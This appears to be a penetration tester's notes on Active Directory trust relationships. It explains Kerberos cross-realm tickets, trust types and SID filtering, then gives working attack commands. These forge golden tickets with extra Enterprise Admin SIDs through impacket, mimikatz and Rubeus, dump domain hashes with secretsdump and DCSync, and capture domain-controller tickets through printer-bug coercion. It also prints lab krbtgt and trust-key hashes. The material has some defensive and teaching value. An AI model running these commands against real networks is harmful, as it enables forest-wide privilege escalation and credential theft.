Kerberos cross-realm authentication, is a mechanism that enables users to authenticate and access resources across multiple Kerberos realms (domains).
To enable cross-domain authentication, the Kerberos administrators in each realm establish a trust relationship between the realms. This involves configuring the Kerberos Key Distribution Center (KDC) in each realm to recognize the other realm’s authentication credentials, and to issue tickets that can be used to authenticate users in the other realm.
In order for a KDC in one realm to authenticate Kerberos users in a different realm, it must share a key with the KDC in the other realm. In both databases, there must be krbtgt service principals for realms. These principals should all have the same passwords, key version numbers, and encryption types.
How Domain and Forest Trusts Work from Microsoft
- Forest is a collection of one or more domains that share a common schema, configuration, and global catalog. When you create a forest, you create the first domain in the forest, which is called the root domain. Additional domains can then be added to the forest as child domains or as separate trees. Forest-level settings, such as the schema and global catalog, are shared across all domains in the forest, making it easier to manage and administer the AD environment.
- Transitive trusts
- Transitive trusts are trusts that can extend beyond the two domains that the trust connects. When a domain has a transitive trust with another domain, it can also trust and communicate between other domains that the trusted domain has established trust with. All domains within a forest trust each other by default.
- Non-transitive trusts
- Non-transitive trusts do not extend beyond the two domains that the trust connects. So, when a domain trusts another domain, it cannot communicate with the other domains that the trusted domain has communications with.
- One-way Trust
- It means that when a domain trusts another domain, that trust does not replicate visa versa. Hence, the trust flows only one way. For example, if domain A has a one-way trust with domain B, then domain A trusts domain B and can access a resource from domain B. However, domain B does not trust domain A and cannot access a resource from domain A.
- Two-way Trust
In two-way trust, when one domain trusts another domain, the other way is also trust. So, both domains can access the resource of the other.
For example, if domain A has two-way trust with domain B, it automatically means that domain B also trusts domain A, and both domains can share resources between themselves.
Possible environment configuration:
Parent-Child is is a two-way transitive trust. It is automatically generated when a child domain is added to a parent domain. When a new child domain is added, the trust path flows upward through the domain hierarchy.
Since the TGS can only be built using the target service’s password data and Domain Controllers (DCs) only contain password data for security principals (users, computers, etc) in their own domain, the DC does not have the target services password data and can’t create the TGS. In order to resolve this issue, there is a trust password between two domains in the same AD forest used as a bridge enabling Kerberos authentication across domains.
For example, while adding the DEV domain 2 users were automaticlly created with the same passwords that allows to decrypt tickets from both sides:
1 2 3 4 5 6 7 8 9 10 11 12 13 #On DC01.hpbank.local: DEV$:1160:aad3b435b51404eeaad3b435b51404ee:fbfb5cebc6033ca65576ae556999388b::: DEV$:aes256-cts-hmac-sha1-96:1b3f17c45cc7be335efeb9cc143e02d242ada823d5c76000ce49ff1776b90ed7 DEV$:aes128-cts-hmac-sha1-96:e01ce12873f65f8033aba3802d6086ed DEV$:des-cbc-md5:07089e9249c4269d #On DC01DEV.dev.hpbank.local: HPBANK$:1103:aad3b435b51404eeaad3b435b51404ee:fbfb5cebc6033ca65576ae556999388b::: HPBANK$:aes256-cts-hmac-sha1-96:6cb7344c1c592111ff7d9c6a7f6963dada03d72529af27fa82d05f2ed0bfb45e HPBANK$:aes128-cts-hmac-sha1-96:f91f4c0828e8ca77489bc9c691fb21fe HPBANK$:des-cbc-md5:6b13d01ac87aefc7
- Windows NT hashes are identical, but Kerberos AES keys for incoming and outcoming trusts are different due to the different salts used.
- In order to establish this trust, the Kerberos authentication protocol requires the exchange of secret keys between the realms.
It’s possible to extract trust keys from a compromised domain controller using mimikatz:
If a user from the child test.dev.hpbank.local domain needs access to the root hpbank.local domain, it’s nesessary to go through the whole domain hierarchy. Kerberos communication would be done in the following way:
Initial Service Ticket request is pretty usual:
Since the SPN is from a different domain the server returns a special referral ticket that points to the KDC of the foreign domain. TGS Response containing a new Service Ticket (actually, inter-realm ticket-granting-ticket) that can be used for the dev.hpbank.local domain controller since it’s encrypted based on the TEST→DEV trust key:
The next request is a Service Ticket request to the DC01.DEV.HPBANK.LOCAL domain controller:
Response contains a TGT (TGT) that can be used in communication with the root hpbank.local domain since it’s encrypted based on the DEV→ROOT trust key:
Request for a final Service Ticket:
Response contains a Service Ticket which can be used to access the WEB server:
Tree domain (Tree-Root Trust)
A bidirectional transitive trust between a forest root domain and a new tree root domain. When a new domain tree is created within a forest, a tree-root trust is automatically created between the new domain tree and all exiting tree domains.
A trust between child domains (used to bypass the hierarchy of trusts and speed up authentication). Can either one-way or two-way trust.
Forest trust are transitive trust, and they can either one-way or two-way trust. It is explicitly transitive (between two forest) created trust between two forest root domains and should be created manually. It also required DNS resolution to be established between forests. Enforces SID filtering.
Forest trust cannot be extended to other forests, for example, if Forest1.com trusts Forest2.com, and another forest Forest3.com trust is created between Forest2.com and Forest3.com, Forest1.com does not have an implied trust. If a trust is required, one must be manually created.
An external trust is a one-way non-transitive trust. These trusts are manually established. An external trust is established with an external domain outside the forest of the trusting domain. Enforces SID filtering.
Real trust is trust between a domain or a forest with another domain or a forest that is not based on Windows Active Directory. Realm-trusts allow for cross-platform communication between domains. This trust is one-way by default.
Authentication Settings for Interforest Trusts
Permits unrestricted access by any users in the trusted domain to all available shared resources located in the trusting domain. This is the default authentication setting for external trusts.
Permits unrestricted access by any users in the trusted forest to all available shared resources located in any of the domains in the trusting forest. This is the default authentication setting for forest trusts.
Restricts access over an external or forest trust to only those users in a trusted domain or forest who have been explicitly given authentication permissions to computer objects (resource computers) residing in the trusting domain or forest. This authentication setting must be manually enabled.
SID History was introduced in Windows Server 2000 to help enterprises move off of Windows NT 4.0 and adopt Active Directory. SID History is written when objects are migrated from other domains.
If a user is migrated, their old security identifier (SID), along with the SIDs of any group they were previously a part of, can optionally be added to the sidHistory attribute of their new user account.
Resources within the source and target domains resolve their access control lists (ACLs) to SIDs and then check for matches between their ACLs and the access token when granting or denying access. If the SID or the SID history matches, access to the resource is granted or denied, according to the access specified in the ACL. If the resource is in the source domain and you have not run security translation, it uses the SID history of the user account to grant access.
It basically means that it’s possible to became an enterpise admin by adding a specific group to the SID history, which is a part of Privilege Attribute Certificate (PAC):
Micrisoft implemented SID Filtering to address privilege escalation issue using the SID history.
SID filtering is set on all trusts to prevent malicious users who have domain or enterprise administrator level access in a trusted forest from granting (to themselves or other user accounts in their forest) elevated user rights to a trusting forest.
SID filtering is not unique to trusts. It occurs “whenever a service ticket is accepted” either by the KDC or by a local service and behaves differently depending on the contect in which the ticket was produced.
The SID filtering status of a trust depends on the trustAttributes flags of a trusted domain object (TDO) as well as the type of trust. Here are some interesting settings explanations related to filtering in different trust types.
Default filtering (accordingly to https://www.securesystems.de/blog/active-directory-spotlight-trusts-part-2-operational-guidance/):
It basically means that by default:
- THe TRUST_ATTRIBUTE_WITHIN_FOREST flag is set for all infra-forest trusts. It means that all SIDs inside the Forest are allowed and there is almost no filtering (there is a list of some accounts, like Local Service/Network Service/etc, but Enterprise Admin group is not filtered).
- You can use only the trusted Forest (or domain) SIDs in Forest Trusts (External Trusts). For example, it’s not allowed to add an Enterprise Admin group SID from the external forest domain.
- If the TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004) flag is set, then (Carsten Sandker`s post):
- only SIDs from the trusted domain are allowed (all others are filtered)
- TGT Delegation is disabled (only for unconstrained delegation)
- If the TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL (0x00000040) flag is set, then inter-forest ticket can be forged, spoofing an RID >= 1000. This doesn’t apply if TAQD (TRUST_ATTRIBUTE_QUARANTINED_DOMAIN) is set. [https://www.thehacker.recipes/ad/movement/trusts]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #Always analyze both TDOs for each trust! #Pure Windows, not super informative nltest /trusted_domains ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() #Powerview (Best Option, uses ldap requests): #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping #https://github.com/sse-secure-systems/Active-Directory-Spotlights/blob/master/AD-Trusts/Enum-ADTrusts.ps1 ./Enum-ADTrusts.ps1 #Linux ldapsearch -LLL -x -H ldap://dc01.hpbank.local -D "firstname.lastname@example.org" -w 'P@ssw0rd' -b dc=hpbank,dc=local "(objectClass=trustedDomain)" #bloodhound
Abusing infra-forest trust (SID filtering is disabled)
The main idea behind this attack is to createa golden ticket encrypted with the compromised krbtgt key with an exta SID (Enterprise Admin Group) inside it.
The easiest automated way with impacket:
1 2 3 4 #impacket #It will forge a ticket with the Enterprise Admins extra SID. #Retrieving the SIDs, dumping the trusted domain's krbtgt, forging the ticket, dumping the forest root keys, etc. impacket-raiseChild test.dev.hpbank.local/Administrator:'P@ssw0rd'
SID attributes inside the forged PAC:
Impacket manually (golden ticket with extra SIDs):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #lookupsid.py to retrieve the domains SIDs impacket-lookupsid hpbank.local/user:'P@email@example.com #S-1-5-21-748831818-4028602677-2506688269 impacket-lookupsid hpbank.local/user:'P@ssw0rd'@DC01TESTDEV.test.dev.hpbank.local #S-1-5-21-3861238802-2101218565-754688495 #golden ticket with Enterprise Admins group RID #impacket-ticketer -nthash "child_domain_krbtgt_NT_hash" -domain-sid "child_domain_SID" -domain "child_domain_FQDN" -extra-sid "<root_domain_SID>-<RID>" "someusername" #If SID filtering is disabled, set the RID to 519 to act as Enterprise Admin. #If SID filtering is partially enabled, set the RID >=1000. impacket-ticketer -nthash 7aa9208fb6f1d0da738cd4b798bd5f40 -domain-sid "S-1-5-21-3861238802-2101218565-754688495" -domain "test.dev.hpbank.local" -extra-sid "S-1-5-21-748831818-4028602677-2506688269-519" Administrator KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pas -just-dc test.dev.hpbank.local/Administrator@DC01.hpbank.local
Windows (golden ticket with extra SIDs):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #retrieve the domains SIDs with PowerView Get-DomainSID -Domain test.dev.hpbank.local Get-DomainSID -Domain hpbank.local #mimikatz golden #kerberos::golden /user:Administrator /domain:<child_domain> /sid:<child_domain_SID> /krbtgt:krbtgt_nthash /sids:"<root_domain_SID>-<RID>" /ptt kerberos::golden /user:Administrator /domain:test.dev.hpbank.local /sid:S-1-5-21-3861238802-2101218565-754688495 /krbtgt:7aa9208fb6f1d0da738cd4b798bd5f40 /sids:S-1-5-21-748831818-4028602677-2506688269-519 /ptt #rubeus golden #Rubeus.exe golden /rc4:<child_domain_krbtgt_nthash> /ldap /user:Administrator /sids:<root_domain_SID>-<RID> /sid:<child_domain_SID> /domain:test.dev.hpbank.local /printcmd /nowrap Rubeus.exe golden /rc4:7aa9208fb6f1d0da738cd4b798bd5f40 /ldap /user:Administrator /sids:"S-1-5-21-748831818-4028602677-2506688269-519" /sid:S-1-5-21-3861238802-2101218565-754688495 /domain:test.dev.hpbank.local /nowrap #full Rubeus.exe golden /rc4:7AA9208FB6F1D0DA738CD4B798BD5F40 /user:Administrator /id:500 /pgid:513 /domain:test.dev.hpbank.local /sid:S-1-5-21-3861238802-2101218565-754688495 /pwdlastset:"3/13/2023 11:23:22 AM" /minpassage:1 /maxpassage:42 /logoncount:19 /netbios:TEST /groups:544,512,520,513 /sids:S-1-5-21-748831818-4028602677-2506688269-519 /dc:DC01TESTDEV.test.dev.hpbank.local
Abusing inter-forest trust (forest, external)
When doing Kerberos authentications across trusts, the trusting domain’s domain controller checks a few things before handing out service tickets to trusted users: SID filtering during PAC validation (looking in the ExtraSids attribute from the KERB_VALIDATION_INFO structure in the PAC), TGT delegation verification (when asked for a Service Ticket for a service configured for unconstrained delegation), and Selective Authentication limitation.
SID history is enabled
If the AD is in migration SID history can be enabled:
1 2 netdom trust chudamax.local /d:hpbank.local /enablesidhistory:yes #it would set the TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL attribure to True
In this case it is possible to inject SIDs with RIDs>=1000, but only groups with membership in local security groups (built-in) are not filtered. If we try to use group which is a part of domain or eneterprise admins it will fail.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #check if TREAT_AS_EXTERNAL is in attributes #if TRUE then groups with RID>=1000 can be used #Only groups with membership in local security groups (built-in) are not filtered!!! #Windows Get-DomainGroupMember -Identity "Administrators" -Domain chudamax.local #mimikatz #kerberos::golden /user:Administrator /domain:<compromised_domain> /sid:<compromised_domain_sid> /krbtgt:<compromised_domain_krbtgt_hash> /sids:<external_group_SID-RID> /ptt kerberos::golden /user:Administrator /domain:hpbank.local /sid:S-1-5-21-748831818-4028602677-2506688269 /krbtgt:af5dcc231b2bca873aedd08ba47ab26d /sids:S-1-5-21-921686000-571080924-1984760626-1115 /ptt #Linux #impacket-ticketer -aesKey <compromised_domain_krbtgt_aesKey> -domain-sid "<compromised_domain_sid>" -domain "<compromised_domain>" -extra-sid "<external_group_SID-RID>" Administrator impacket-ticketer -aesKey b0a77ec59870c03d6bae238522a919d3a7d87d403fa1720660527f2bcbae8da1 -domain-sid "S-1-5-21-748831818-4028602677-2506688269" -domain "hpbank.local" -extra-sid "S-1-5-21-921686000-571080924-1984760626-1115" Administrator KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass -just-dc hpbank.local/Administrator@dc01ch.chudamax.local -debug
EnableTGTDelegation + NTLM Coercion
In 2018 Will Schroeder found a way to compromise forests using unconstrained delegation.
In 2019, Microsoft issued two rounds of security advisories and updates. The first blocked TGT delegation for all new forest trusts, while the second blocked it for existing forest trust as well.
It is still can be enabled manually:
1 2 netdom.exe trust chudamax.com /domain:hpbank.local /EnableTGTDelegation:Yes
1 2 3 4 5 6 7 8 9 10 11 #Start monitoring for TGTs with rubeus: Rubeus.exe monitor /interval:5 /filteruser:target-dc$ #Execute the printerbug to trigger the force authentication of the target DC to our machine SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local #Get the base64 captured TGT from Rubeus and inject it into memory: Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket> #Dump the hashes of the target domain using mimikatz: lsadump::dcsync /domain:external.forest.local /all
1 2 3 #check for foreign users Get-DomainForeignGroupMember -Domain chudamax.local convertfrom-sid <sid>
1 #dump user ntlm hashes and try to use it for the external domains